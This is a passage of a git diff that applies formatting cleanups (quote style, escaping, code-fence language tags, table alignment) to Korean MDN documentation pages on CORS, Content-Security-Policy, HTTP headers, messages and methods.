-> **참고:** **주의:** WebKit Nightly 와 Safari Technology Preview 는 {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}} 헤더에서 허용되는 값에 대한 추가 제약이 있습니다. 이러한 헤더 중 하나에 ”nonstandard” 값이 존재하면, WebKit/Safari 는 더이상 요청을 “simple request”로 간주하지 않습니다. 다음 Webkit 버그 외에 WebKit/Safari 가 “nonstandard” 으로 간주하는 값은 문서화되어 있지 않습니다.
+> **참고:** **주의:** WebKit Nightly 와 Safari Technology Preview 는 {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}} 헤더에서 허용되는 값에 대한 추가 제약이 있습니다. 이러한 헤더 중 하나에 "nonstandard" 값이 존재하면, WebKit/Safari 는 더이상 요청을 "simple request"로 간주하지 않습니다. 다음 Webkit 버그 외에 WebKit/Safari 가 "nonstandard" 으로 간주하는 값은 문서화되어 있지 않습니다.
 >
 > - [Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)
 > - [Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566)
@@ -132,7 +132,7 @@ Access-Control-Allow-Origin: https://foo.example
 
 ### 프리플라이트 요청
 
-"preflighted" request는 위에서 논의한 [“simple requests”](/ko/docs/Web/HTTP/CORS#단순_요청simple_requests) 와는 달리, 먼저 {{HTTPMethod("OPTIONS")}} 메서드를 통해 다른 도메인의 리소스로 HTTP 요청을 보내 실제 요청이 전송하기에 안전한지 확인합니다. cross-origin 요청은 유저 데이터에 영향을 줄 수 있기 때문에 이와같이 미리 전송(preflighted)합니다.
+"preflighted" request는 위에서 논의한 ["simple requests"](/ko/docs/Web/HTTP/CORS#단순_요청simple_requests) 와는 달리, 먼저 {{HTTPMethod("OPTIONS")}} 메서드를 통해 다른 도메인의 리소스로 HTTP 요청을 보내 실제 요청이 전송하기에 안전한지 확인합니다. cross-origin 요청은 유저 데이터에 영향을 줄 수 있기 때문에 이와같이 미리 전송(preflighted)합니다.
 
 다음은 preflighted 할 요청의 예제입니다.
 
@@ -468,8 +468,8 @@ Access-Control-Request-Headers: <field-name>[, <field-name>]*
 - [Will it CORS?](https://httptoolkit.tech/will-it-cors) - an interactive CORS explainer & generator
 - [Using CORS with All (Modern) Browsers](https://www.telerik.com/blogs/using-cors-with-all-modern-browsers)
 - [How to run Chrome browser without CORS](https://alfilatov.com/posts/run-chrome-without-cors/)
-- [Stack Overflow answer with “how to” info for dealing with common problems](https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141):
+- [Stack Overflow answer with "how to" info for dealing with common problems](https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141):
 
   - How to avoid the CORS preflight
-  - How to use a CORS proxy to get around _“No Access-Control-Allow-Origin header”_
-  - How to fix _“Access-Control-Allow-Origin header must not be the wildcard”_
+  - How to use a CORS proxy to get around _"No Access-Control-Allow-Origin header"_
+  - How to fix _"Access-Control-Allow-Origin header must not be the wildcard"_
diff --git a/files/ko/web/http/csp/index.md b/files/ko/web/http/csp/index.md
index d87fc26528615e..0e30531e733cb8 100644
--- a/files/ko/web/http/csp/index.md
+++ b/files/ko/web/http/csp/index.md
@@ -91,7 +91,7 @@ Content-Security-Policy: default-src 'self'; img-src *; media-src example.org ex
 
 기본적으로 여기서는 문서 원본의 콘텐츠만 허용되며 다음은 예외로 처리됩니다.
 
-- 이미지는 출처에 상관없이 로드할 수 있습니다("*" 와일드카드 참고).
+- 이미지는 출처에 상관없이 로드할 수 있습니다("\*" 와일드카드 참고).
 - 미디어는 example.org 및 example.net에서만 허용되며 해당 사이트의 하위 도메인에서는 허용되지 않습니다.
 - 실행 가능한 스크립트는 userscripts.example.com에서 온 것만 허용됩니다.
 
@@ -144,27 +144,35 @@ Content-Security-Policy: default-src 'self'; report-to http://reportcollector.ex
 보고서 JSON 객체는 `application/csp-report` {{HTTPHeader("Content-Type")}}과 함께 전송되며 다음 데이터를 포함합니다.
 
 - `blocked-uri`
+
   - : 콘텐츠 보안 정책에 의해 로드가 차단된 리소스의 URI입니다. 차단된 URI가 `document-uri`와 다른 출처인 경우, 차단된 URI는 스키마, 호스트 그리고 포트만 포함되도록 자릅니다.
 
 - `disposition`
+
   - : {{HTTPHeader("Content-Security-Policy-Report-Only")}} 헤더 또는 `Content-Security-Policy` 헤더 사용 여부에 따라 `"enforce"` 또는 `"report"`로 나타납니다.
 
 - `document-uri`
+
   - : 위반이 발생한 문서의 URI입니다.
 
 - `effective-directive`
+
   - : 정책 시행으로 인해 위반이 발생한 지시문입니다. 실제로 적용된 지시문이 `style-src`인 경우에 Chrome이 `style-src-elem`/`style-src-attr`을 제공하는 것과 같이 일부 브라우저는 다른 값을 제공할 수 있습니다.
 
 - `original-policy`
+
   - : `Content-Security-Policy` HTTP 헤더에 지정된 원래 정책입니다.
 
 - `referrer` {{Deprecated_Inline}} {{Non-standard_Inline}}
+
   - : 위반이 발생한 문서의 리퍼러입니다.
 
 - `script-sample`
+
   - : 위반을 일으킨 인라인 스크립트, 이벤트 처리기 또는 스타일의 처음 40자입니다. `'report-sample'`이 포함된 `script-src*`와 `style-src*` 위반에만 적용 가능합니다.
 
 - `status-code`
+
   - : 전역 객체가 인스턴스화된 리소스의 HTTP 상태 코드입니다.
 
 - `violated-directive` {{Deprecated_Inline}}
@@ -181,7 +189,7 @@ Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-t
 `signup.html`의 HTML은 다음과 같습니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="en-US">
   <head>
     <meta charset="UTF-8" />
diff --git a/files/ko/web/http/headers/access-control-allow-credentials/index.md b/files/ko/web/http/headers/access-control-allow-credentials/index.md
index 7534cd12fa0bd1..d873d9ec11de24 100644
--- a/files/ko/web/http/headers/access-control-allow-credentials/index.md
+++ b/files/ko/web/http/headers/access-control-allow-credentials/index.md
@@ -51,7 +51,7 @@ Using [XHR](/ko/docs/Web/API/XMLHttpRequest) with credentials:
 
 ```js
 var xhr = new XMLHttpRequest();
-xhr.open('GET', 'http://example.com/', true);
+xhr.open("GET", "http://example.com/", true);
 xhr.withCredentials = true;
 xhr.send(null);
 ```
@@ -60,8 +60,8 @@ Using [Fetch](/ko/docs/Web/API/Fetch_API) with credentials:
 
 ```js
 fetch(url, {
-  credentials: 'include'
-})
+  credentials: "include",
+});
 ```
 
 ## 명세서
diff --git a/files/ko/web/http/headers/access-control-allow-methods/index.md b/files/ko/web/http/headers/access-control-allow-methods/index.md
index f82328310b9e11..33e3d7fa4e3094 100644
--- a/files/ko/web/http/headers/access-control-allow-methods/index.md
+++ b/files/ko/web/http/headers/access-control-allow-methods/index.md
@@ -32,7 +32,7 @@ Access-Control-Allow-Methods: *
 - `<method>`
   - : 허용된 [HTTP 요청 메서드](/ko/docs/Web/HTTP/Methods)의 목록이며 콤마로 구분됩니다.
 - `*` (와일드카드)
-  - : `*`는 자격 증명이 없는 요청 ([쿠키](/ko/docs/Web/HTTP/Cookies)나 HTTP 인증 정보가 없는 요청)에 대해서만 특수 와일드카드 값으로 취급됩니다. 자격 증명이 있는 요청에서는 특별한 의미를 갖지 않고 단순히 "*"라는 메서드 이름으로 취급됩니다.
+  - : `*`는 자격 증명이 없는 요청 ([쿠키](/ko/docs/Web/HTTP/Cookies)나 HTTP 인증 정보가 없는 요청)에 대해서만 특수 와일드카드 값으로 취급됩니다. 자격 증명이 있는 요청에서는 특별한 의미를 갖지 않고 단순히 "\*"라는 메서드 이름으로 취급됩니다.
 
 ## 예제
 
diff --git a/files/ko/web/http/headers/authorization/index.md b/files/ko/web/http/headers/authorization/index.md
index 857c23c5e44b64..c554756d54fc2c 100644
--- a/files/ko/web/http/headers/authorization/index.md
+++ b/files/ko/web/http/headers/authorization/index.md
@@ -54,10 +54,10 @@ HTTP basic 인증을 사용하여 비밀번호를 보호하기 위해 Apache 또
 
 ## 기술 사양
 
-| 기술 사양                                            | 제목                                   |
-| ---------------------------------------------------- | -------------------------------------- |
+| 기술 사양                               | 제목                                   |
+| --------------------------------------- | -------------------------------------- |
 | {{RFC("7235", "Authorization", "4.2")}} | HTTP/1.1: Authentication               |
-| {{RFC("7617")}}                                 | The 'Basic' HTTP Authentication Scheme |
+| {{RFC("7617")}}                         | The 'Basic' HTTP Authentication Scheme |
 
 ## 함께 더 보기
 
diff --git a/files/ko/web/http/headers/content-disposition/index.md b/files/ko/web/http/headers/content-disposition/index.md
index 9782b9fbb5cf61..f180f82b917cf3 100644
--- a/files/ko/web/http/headers/content-disposition/index.md
+++ b/files/ko/web/http/headers/content-disposition/index.md
@@ -62,7 +62,7 @@ Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"
 
 - `filename*`
 
-  - : "filename"과의 유일한 차이점은 "filename*"는 인코딩으로 [RFC 5987](https://tools.ietf.org/html/rfc5987)을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면 "filename*"이 보다 우선됩니다.
+  - : "filename"과의 유일한 차이점은 "filename*"는 인코딩으로 [RFC 5987](https://tools.ietf.org/html/rfc5987)을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면 "filename\*"이 보다 우선됩니다.
 
 ## Examples
 
diff --git a/files/ko/web/http/headers/content-language/index.md b/files/ko/web/http/headers/content-language/index.md
index 199ca959cb661c..8868dd31edf77e 100644
--- a/files/ko/web/http/headers/content-language/index.md
+++ b/files/ko/web/http/headers/content-language/index.md
@@ -46,14 +46,14 @@ Content-Language: de-DE, en-CA
 글로벌 [`lang`](/ko/docs/Web/HTML/Global_attributes/lang) 어트리뷰는 HTML 엘리먼트 상에서 전체 [HTML](/ko/docs/Web/HTML) 문서 혹은 그의 일부의 언어를 나타내기 위해 사용됩니다.
 
 ```html
-<html lang="de">
+<html lang="de"></html>
 ```
 
 다음과 같이 문서 언어를 나타내기 위해 이와 같은 메타 엘리먼트를 사용하지 **마세요**:
 
 ```html example-bad
 <!-- /!\ This is bad practice -->
-<meta http-equiv="content-language" content="de">
+<meta http-equiv="content-language" content="de" />
 ```
 
 ### 리소스에 대해 대상 청중 나타내기
diff --git a/files/ko/web/http/headers/content-security-policy/default-src/index.md b/files/ko/web/http/headers/content-security-policy/default-src/index.md
index 71c787e909b712..ae90d4551271f6 100644
--- a/files/ko/web/http/headers/content-security-policy/default-src/index.md
+++ b/files/ko/web/http/headers/content-security-policy/default-src/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'CSP: default-src'
+title: "CSP: default-src"
 slug: Web/HTTP/Headers/Content-Security-Policy/default-src
 ---
 
@@ -19,8 +19,8 @@ HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`default-src`** 구문은
 - {{CSP("style-src")}}
 - {{CSP("worker-src")}}
 
-| CSP version    | 1                                        |
-| -------------- | ---------------------------------------- |
+| CSP version    | 1                               |
+| -------------- | ------------------------------- |
 | Directive type | {{Glossary("Fetch directive")}} |
 
 ## Syntax
diff --git a/files/ko/web/http/headers/content-security-policy/img-src/index.md b/files/ko/web/http/headers/content-security-policy/img-src/index.md
index a471a45605a44f..4d0994d8706c7f 100644
--- a/files/ko/web/http/headers/content-security-policy/img-src/index.md
+++ b/files/ko/web/http/headers/content-security-policy/img-src/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'CSP: img-src'
+title: "CSP: img-src"
 slug: Web/HTTP/Headers/Content-Security-Policy/img-src
 ---
 
@@ -55,7 +55,7 @@ Content-Security-Policy: img-src https://example.com/
 아래의 {{HTMLElement("img")}} 태그가 차단되어 불러오지 않습니다:
 
 ```html
-<img src="https://not-example.com/foo.jpg" alt="example picture">
+<img src="https://not-example.com/foo.jpg" alt="example picture" />
 ```
 
 ## 명세서
diff --git a/files/ko/web/http/headers/content-security-policy/script-src/index.md b/files/ko/web/http/headers/content-security-policy/script-src/index.md
index 63f96b1bc7afac..a73ee2cef4b1bc 100644
--- a/files/ko/web/http/headers/content-security-policy/script-src/index.md
+++ b/files/ko/web/http/headers/content-security-policy/script-src/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'CSP: script-src'
+title: "CSP: script-src"
 slug: Web/HTTP/Headers/Content-Security-Policy/script-src
 ---
 
@@ -61,13 +61,13 @@ Content-Security-Policy: script-src https://example.com/
 인라인 스크립트도 실행되지 않습니다:
 
 ```html
-<button id="btn" onclick="doSomething()">
+<button id="btn" onclick="doSomething()"></button>
 ```
 
 {{domxref("EventTarget.addEventListener", "addEventListener")}}를 호출하는 것으로 대체해야 합니다.:
 
 ```js
-document.getElementById("btn").addEventListener('click', doSomething);
+document.getElementById("btn").addEventListener("click", doSomething);
 ```
 
 ### 안전하지 않은 인라인 스크립트
@@ -111,7 +111,9 @@ Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWt
 해시를 생성할 때에는 {{HTMLElement("script")}} 태그를 포함하지 말고, 대소문자, 태그의 앞뒤 공백이 포함되어야 하는 것을 유의해주십시요.
 
 ```html
-<script>var inline = 1;</script>
+<script>
+  var inline = 1;
+</script>
 ```
 
 ### 안전하지 않은 eval 표현식
diff --git a/files/ko/web/http/headers/content-type/index.md b/files/ko/web/http/headers/content-type/index.md
index 3c71f1e75ef9d0..c6d9fdcb320c75 100644
--- a/files/ko/web/http/headers/content-type/index.md
+++ b/files/ko/web/http/headers/content-type/index.md
@@ -48,8 +48,8 @@ HTML 폼 전송으로 일어나는 {{HTTPMethod("POST")}} 요청 내에서, 요
 
 ```html
 <form action="/" method="post" enctype="multipart/form-data">
-  <input type="text" name="description" value="some text">
-  <input type="file" name="myFile">
+  <input type="text" name="description" value="some text" />
+  <input type="file" name="myFile" />
   <button type="submit">Submit</button>
 </form>
 ```
diff --git a/files/ko/web/http/headers/etag/index.md b/files/ko/web/http/headers/etag/index.md
index e930d00f14ae0e..f125dcadf32f82 100644
--- a/files/ko/web/http/headers/etag/index.md
+++ b/files/ko/web/http/headers/etag/index.md
@@ -74,8 +74,8 @@ If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
 
 ## 사양
 
-| 사양                                     | 제목                                                         |
-| ---------------------------------------- | ------------------------------------------------------------ |
+| 사양                           | 제목                                                         |
+| ------------------------------ | ------------------------------------------------------------ |
 | {{RFC("7232", "ETag", "2.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |
 
 ## 브라우저 호환성
diff --git a/files/ko/web/http/headers/forwarded/index.md b/files/ko/web/http/headers/forwarded/index.md
index 7f304a5306f867..63ccf0586f22eb 100644
--- a/files/ko/web/http/headers/forwarded/index.md
+++ b/files/ko/web/http/headers/forwarded/index.md
@@ -80,8 +80,8 @@ Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]"
 
 ## 기술 사양
 
-| 기술 사양                                    | 제목                     |
-| -------------------------------------------- | ------------------------ |
+| 기술 사양                         | 제목                     |
+| --------------------------------- | ------------------------ |
 | {{RFC("7239", "Forwarded", "4")}} | Forwarded HTTP Extension |
 
 ## 함께 참고할 내용
diff --git a/files/ko/web/http/headers/if-modified-since/index.md b/files/ko/web/http/headers/if-modified-since/index.md
index f88a84be2f4ffe..10c691c3e75fda 100644
--- a/files/ko/web/http/headers/if-modified-since/index.md
+++ b/files/ko/web/http/headers/if-modified-since/index.md
@@ -57,8 +57,8 @@ If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
 
 ## 기술 사양
 
-| 기술 사양                                                | 제목                                                         |
-| -------------------------------------------------------- | ------------------------------------------------------------ |
+| 기술 사양                                   | 제목                                                         |
+| ------------------------------------------- | ------------------------------------------------------------ |
 | {{RFC("7232", "If-Modified-Since", "3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |
 
 ## 브라우저 호환성
diff --git a/files/ko/web/http/headers/if-range/index.md b/files/ko/web/http/headers/if-range/index.md
index 3b082e4912bdeb..e264f64b970a1b 100644
--- a/files/ko/web/http/headers/if-range/index.md
+++ b/files/ko/web/http/headers/if-range/index.md
@@ -63,8 +63,8 @@ If-Range: Wed, 21 Oct 2015 07:28:00 GMT
 
 ## 기술 사양
 
-| 기술 사양                                    | 제목                                                   |
-| -------------------------------------------- | ------------------------------------------------------ |
+| 기술 사양                          | 제목                                                   |
+| ---------------------------------- | ------------------------------------------------------ |
 | {{RFC("7233", "If-Range", "3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |
 
 ## 브라우저 호환성
diff --git a/files/ko/web/http/headers/range/index.md b/files/ko/web/http/headers/range/index.md
index 6b5a65a02d348d..dd4a282ebe4c05 100644
--- a/files/ko/web/http/headers/range/index.md
+++ b/files/ko/web/http/headers/range/index.md
@@ -46,8 +46,8 @@ Range: bytes=200-1000, 2000-6576, 19000-
 
 ## 기술 사양
 
-| 기술 사양                                | 제목                                                   |
-| ---------------------------------------- | ------------------------------------------------------ |
+| 기술 사양                       | 제목                                                   |
+| ------------------------------- | ------------------------------------------------------ |
 | {{RFC("7233", "Range", "3.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |
 
 ## 브라우저 호환성
diff --git a/files/ko/web/http/headers/server/index.md b/files/ko/web/http/headers/server/index.md
index 5362c740b4c66f..ec27ff7639110a 100644
--- a/files/ko/web/http/headers/server/index.md
+++ b/files/ko/web/http/headers/server/index.md
@@ -41,8 +41,8 @@ Server: Apache/2.4.1 (Unix)
 
 ## 기술 사양
 
-| 기술 사양                                    | 제목                                                          |
-| -------------------------------------------- | ------------------------------------------------------------- |
+| 기술 사양                          | 제목                                                          |
+| ---------------------------------- | ------------------------------------------------------------- |
 | {{RFC("7231", "Server", "7.4.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |
 
 ## 브라우저 호환성
diff --git a/files/ko/web/http/messages/index.md b/files/ko/web/http/messages/index.md
index f739900e008ce8..ece893f5babd3d 100644
--- a/files/ko/web/http/messages/index.md
+++ b/files/ko/web/http/messages/index.md
@@ -2,6 +2,7 @@
 title: HTTP 메시지
 slug: Web/HTTP/Messages
 ---
+
 {{HTTPSidebar}}
 
 HTTP 메시지는 서버와 클라이언트 간에 데이터가 교환되는 방식입니다. 메시지 타입은 두 가지가 있습니다. 요청(_request)은_ 클라이언트가 서버로 전달해서 서버의 액션이 일어나게끔 하는 메시지고, 응답(*response)은 요청*에 대한 서버의 답변입니다.
@@ -34,13 +35,13 @@ HTTP 요청은 서버가 특정 동작을 취하게끔 만들기 위해 클라
 1. 첫번째는 _[HTTP 메서드](/ko/docs/Web/HTTP/Methods)로_, 영어 동사({{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}},{{HTTPMethod("POST")}}) 혹은 명사({{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}})를 사용해 서버가 수행해야 할 동작을 나타냅니다. 예를 들어, `GET`은 리소스를 클라이언트로 가져다 달라는 것을 뜻하며, `POST`는 데이터가 서버로 들어가야 함을 의미(리소스를 새로 만들거나 수정하기 위해, 또는 클라이언트로 돌려 보낼 임시 문서를 생성하기 위해)합니다.
 2. 두번째로 오는 요청 타겟은 주로 {{glossary("URL")}}, 또는 프로토콜, 포트, 도메인의 절대 경로로 나타낼 수도 있으며 이들은 요청 컨텍스트에 의해 특정지어 집니다. 요청 타겟 포맷은 HTTP 메소드에 따라 달라집니다. 포맷에는 다음과 같은 것들이 있습니다.
 
-    - origin 형식: 끝에 `'?'`와 쿼리 문자열이 붙는 절대 경로입니다. 이는 가장 일반적인 형식이며, `GET`, `POST`, `HEAD`, `OPTIONS` 메서드와 함께 사용합니다.
-      `POST / HTTP 1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0`
-    - _absolute 형식: 완전한 URL 형식입니다._ 프록시에 연결하는 경우 대부분 `GET`과 함께 사용됩니다.
-      `GET http://developer.mozilla.org/ko/docs/Web/HTTP/Messages HTTP/1.1`
-    - _authority 형식:_ 도메인 이름 및 옵션 포트(`':'`가 앞에 붙습니다)로 이루어진 URL의 authority component 입니다. HTTP 터널을 구축하는 경우에만 `CONNECT`와 함께 사용할 수 있습니다.
-      `CONNECT developer.mozilla.org:80 HTTP/1.1`
-    - _asterisk 형식:_ `OPTIONS`와 함께 별표(`'*'`) 하나로 간단하게 서버 전체를 나타냅니다. `OPTIONS * HTTP/1.1`
+   - origin 형식: 끝에 `'?'`와 쿼리 문자열이 붙는 절대 경로입니다. 이는 가장 일반적인 형식이며, `GET`, `POST`, `HEAD`, `OPTIONS` 메서드와 함께 사용합니다.
+     `POST / HTTP 1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0`
+   - _absolute 형식: 완전한 URL 형식입니다._ 프록시에 연결하는 경우 대부분 `GET`과 함께 사용됩니다.
+     `GET http://developer.mozilla.org/ko/docs/Web/HTTP/Messages HTTP/1.1`
+   - _authority 형식:_ 도메인 이름 및 옵션 포트(`':'`가 앞에 붙습니다)로 이루어진 URL의 authority component 입니다. HTTP 터널을 구축하는 경우에만 `CONNECT`와 함께 사용할 수 있습니다.
+     `CONNECT developer.mozilla.org:80 HTTP/1.1`
+   - _asterisk 형식:_ `OPTIONS`와 함께 별표(`'*'`) 하나로 간단하게 서버 전체를 나타냅니다. `OPTIONS * HTTP/1.1`
 
 3. 마지막으로 HTTP 버전이 들어갑니다. 메시지의 남은 구조를 결정하기 때문에, 응답 메시지에서 써야 할 HTTP 버전을 알려주는 역할을 합니다.
 
@@ -69,7 +70,7 @@ HTTP 요청은 서버가 특정 동작을 취하게끔 만들기 위해 클라
 
 ### 상태 줄
 
-HTTP 응답의 시작 줄은 *상태 줄(status line)* 이라고 불리며, 다음과 같은 정보를 가지고 있습니다.
+HTTP 응답의 시작 줄은 _상태 줄(status line)_ 이라고 불리며, 다음과 같은 정보를 가지고 있습니다.
 
 1. 프로토콜 버전: 보통 `HTTP/1.1`입니다.
 2. 상태 코드: 요청의 성공 여부를 나타냅니다. {{HTTPStatus("200")}}, {{HTTPStatus("404")}} 혹은 {{HTTPStatus("302")}}입니다.
diff --git a/files/ko/web/http/methods/connect/index.md b/files/ko/web/http/methods/connect/index.md
index aae0aa7e5adccc..63a176a7fc0ef0 100644
--- a/files/ko/web/http/methods/connect/index.md
+++ b/files/ko/web/http/methods/connect/index.md
@@ -52,7 +52,7 @@ CONNECT www.example.com:443 HTTP/1.1
 
 일부 프록시 서버는 터널을 생성하기 위해 인증을 요구할 수 있습니다. {{HTTPHeader("Proxy-Authorization")}} 헤더를 참고하세요.
 
-```html
+```http
 CONNECT server.example.com:80 HTTP/1.1
 Host: server.example.com:80
 Proxy-Authorization: basic aGVsbG86d29ybGQ=
@@ -60,8 +60,8 @@ Proxy-Authorization: basic aGVsbG86d29ybGQ=
 
 ## 기술 사양
 
-| Specification                                    | Title                                                         |
-| ------------------------------------------------ | ------------------------------------------------------------- |
+| Specification                       | Title                                                         |
+| ----------------------------------- | ------------------------------------------------------------- |
 | {{RFC("7231", "CONNECT", "4.3.6")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |
 
 ## 브라우저 호환성
diff --git a/files/ko/web/http/methods/patch/index.md b/files/ko/web/http/methods/patch/index.md
index fbffe2e0c75849..496d9e1dcecfda 100644
--- a/files/ko/web/http/methods/patch/index.md
+++ b/files/ko/web/http/methods/patch/index.md
@@ -56,7 +56,7 @@ PATCH /file.txt HTTP/1.1
 
 ### Request
 
-```html
+```http
 PATCH /file.txt HTTP/1.1
 Host: www.example.com
 Content-Type: application/example
diff --git a/files/ko/web/http/methods/post/index.md b/files/ko/web/http/methods/post/index.md
index 8e78f56cd9d070..17a7d1d850b3bf 100644
--- a/files/ko/web/http/methods/post/index.md
+++ b/files/ko/web/http/methods/post/index.md
@@ -9,9 +9,9 @@ slug: Web/HTTP/Methods/POST
 
 {{httpmethod("PUT")}}과 `POST`의 차이는 {{glossary("idempotent", "멱등성")}}으로, `PUT`은 멱등성을 가집니다. `PUT`은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과(side effect)가 없습니다.
 
-`POST` 요청은 보통 [HTML 양식](/ko/docs/Learn/HTML/Forms)을 통해 서버에 전송하며, 서버에 변경사항을 만듭니다. 이 경우의 콘텐츠 유형(`Content-Type`)은 *{{HTMLElement("form")}} 요소의 {{htmlattrxref("enctype", "form")}} 특성이나 {{HTMLElement("input") }}, {{HTMLElement("button")}} *요소의 _{{htmlattrxref("formenctype", "input")}} 특성 안에 적당한 문자열을 넣어 결정합니다._
+`POST` 요청은 보통 [HTML 양식](/ko/docs/Learn/HTML/Forms)을 통해 서버에 전송하며, 서버에 변경사항을 만듭니다. 이 경우의 콘텐츠 유형(`Content-Type`)은 _{{HTMLElement("form")}} 요소의 {{htmlattrxref("enctype", "form")}} 특성이나 {{HTMLElement("input") }}, {{HTMLElement("button")}}_ 요소의 _{{htmlattrxref("formenctype", "input")}} 특성 안에 적당한 문자열을 넣어 결정합니다._
 
-- `application/x-www-form-urlencoded`: &으로 분리되고, "=" 기호로 값과 키를 연결하는 key-value tuple로 인코딩되는 값입니다. 영어 알파벳이 아닌 문자들은 {{glossary("percent encoded")}} 으로 인코딩됩니다. 따라서, 이 content type은 바이너리 데이터에 사용하기에는 적절치 않습니다. (바이너리 데이터에는 use `multipart/form-data` 를 사용해 주세요.)_
+- `application/x-www-form-urlencoded`: &으로 분리되고, "=" 기호로 값과 키를 연결하는 key-value tuple로 인코딩되는 값입니다. 영어 알파벳이 아닌 문자들은 {{glossary("percent encoded")}} 으로 인코딩됩니다. 따라서, 이 content type은 바이너리 데이터에 사용하기에는 적절치 않습니다. (바이너리 데이터에는 use `multipart/form-data` 를 사용해 주세요.)\_
 - _`multipart/form-data`_
 - _`text/plain`_
 
@@ -64,7 +64,7 @@ POST /index.html
 
 다음은 `application/x-www-form-urlencoded` 콘텐츠 유형을 사용하는 간단한 형태의 양식 제출 예시입니다.
 
-```html
+```http
 POST / HTTP/1.1
 Host: foo.com
 Content-Type: application/x-www-form-urlencoded
@@ -75,7 +75,7 @@ say=Hi&to=Mom
 
 `multipart/form-data` 콘텐츠 유형을 사용하는 예시입니다.
 
-```
+```http
 POST /test.html HTTP/1.1
 Host: example.org
 Content-Type: multipart/form-data;boundary="boundary"
diff --git a/files/ko/web/http/overview/index.md b/files/ko/web/http/overview/index.md
index a7b060bac22785..63d976904bc109 100644
--- a/files/ko/web/http/overview/index.md
+++ b/files/ko/web/http/overview/index.md
@@ -9,7 +9,7 @@ slug: Web/HTTP/Overview
 
 ![웹 문서는 다른 리소스들의 구성](fetching_a_page.png)
 
-클라이언트와 서버들은 (데이터 스트림과 대조적으로) 개별적인 메시지 교환에 의해 통신합니다. 보통 브라우저인 클라이언트에 의해 전송되는 메시지를 요청(*requests*)이라고 부르며, 그에 대해 서버에서 응답으로 전송되는 메시지를 응답(*responses*)이라고 부릅니다.
+클라이언트와 서버들은 (데이터 스트림과 대조적으로) 개별적인 메시지 교환에 의해 통신합니다. 보통 브라우저인 클라이언트에 의해 전송되는 메시지를 요청(_requests_)이라고 부르며, 그에 대해 서버에서 응답으로 전송되는 메시지를 응답(_responses_)이라고 부릅니다.
 
 ![TCP(전송 계층) 및 IP(네트워크 계층) 위 및 표시 계층 아래의 응용 계층 프로토콜로서의 HTTP.](http-layers.png)
 
@@ -83,15 +83,19 @@ HTTP의 확장 가능한 특성은 수년 간에 걸쳐 웹의 점점 더 많은
 다음은 HTTP 사용하여 제어 가능한 일반적인 기능 목록입니다.
 
 - **[캐시](/ko/docs/Web/HTTP/Caching)**
+
   - HTTP로 문서가 캐시되는 방식을 제어할 수 있습니다. 서버는 캐시 대상과 기간을 프록시와 클라이언트에 지시할 수 있고 클라이언트는 저장된 문서를 무시하라고 중간 캐시 프록시에게 지시할 수 있습니다.
 
 - **`origin` 제약사항을 완화하기**
+
   - 스누핑과 다른 프라이버시 침해를 막기 위해, 브라우저는 웹 사이트 간의 엄격한 분리를 강제합니다. **동일한 origin**으로부터 온 페이지만이 웹 페이지의 전체 정보에 접근할 수 있죠. 그런 제약 사항은 서버에 부담이 되지만, HTTP 헤더를 통해 그것을 완화시킬 수 있습니다. 그런 덕분에 문서는 다른 도메인으로부터 전달된 정보를 패치워크할 수 있습니다(그렇게 하려면 어떤 경우에 보안과 관련된 사항이 있을 수도 있습니다).
 
 - **인증**
+
   - 어떤 페이지들은 보호되어 오로지 특정 사용자만이 그것에 접근할 수도 있습니다. 기본 인증은 HTTP를 통해 {{HTTPHeader("WWW-Authenticate")}} 또는 유사한 헤더를 사용해 제공되거나, [HTTP 쿠키](/ko/docs/Web/HTTP/Cookies)를 사용해 특정 세션을 설정하여 이루어질 수도 있습니다.
 
 - **[프록시와 터널링](/ko/docs/Web/HTTP/Proxy_servers_and_tunneling)**
+
   - 서버 혹은 클라이언트 혹은 그 둘 모두는 종종 인트라넷에 위치하며 다른 개체들에게 그들의 실제 주소를 숨기기도 합니다. HTTP 요청은 네트워크 장벽을 가로지르기 위해 프록시를 통해 나가게 되죠. 모든 프록시가 HTTP 프록시는 아닙니다. 예를 들면 SOCKS 프로토콜은 좀 더 저수준에서 동작합니다. FTP와 같은 다른 프로토콜도 이 프록시를 통해 처리될 수 있습니다.
 
 - **세션**
@@ -104,26 +108,26 @@ HTTP의 확장 가능한 특성은 수년 간에 걸쳐 웹의 점점 더 많은
